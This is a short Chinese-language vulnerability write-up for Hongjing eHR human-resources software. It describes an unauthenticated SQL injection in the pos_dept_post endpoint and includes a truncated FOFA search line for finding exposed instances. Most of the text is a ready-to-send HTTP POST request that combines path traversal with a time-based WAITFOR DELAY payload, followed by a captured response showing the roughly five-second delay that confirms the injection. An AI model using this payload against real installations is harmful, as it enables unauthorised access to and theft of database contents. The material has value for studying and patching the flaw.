H1-23宏景-人力资源管理-SQL

漏洞描述：

宏景eHR pos_dept_post 接口处存在SQL注入漏洞，未经过身份认证的远程攻击者可利用此漏洞执行任意SQL指令，从而窃取数据库敏感信息。

网站图片：

fofa语法：

body="

漏洞复现：

延时5秒 payload：

```
POST /templates/attestation/../../pos/roleinfo/pos_dept_post HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
x-auth-token: d9eaeacd5de1008fd43f737c853dcbcb
Content-Type: application/x-www-form-urlencoded; charset=UTF-8

usertable=h00&i9999=1';WAITFOR DELAY '0:0:5'--+
```

效果图：


Request
数据包扫描
美化
热加载
构造请求
1 POST /templates/attestation/../../pos/roleinfo/pos_dept_post HTTP/1.1
2 Host :
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
4 x-auth-token: d9eaeacd5de1008fd43f737c853dcbcb
5 Content-Type: application/x-www-form-urlencoded; charset=UTF-8
6
7 usertable=h00&i9999=1';WAITFOR DELAY '0:0:5'--+
Responses
0bytes / 5014ms
美化
1 HTTP/1.1 200 OK
2 Server: Apache-Coyote/1.1
3 x-frame-options: SAMEORIGIN
4 Set-Cookie: JSESSIONID=789BA00CA3D38402F24CDB66E59EE6DE; Pa
5 Date: Tue, 04 Jun 2024 04:17:18 GMT
6
7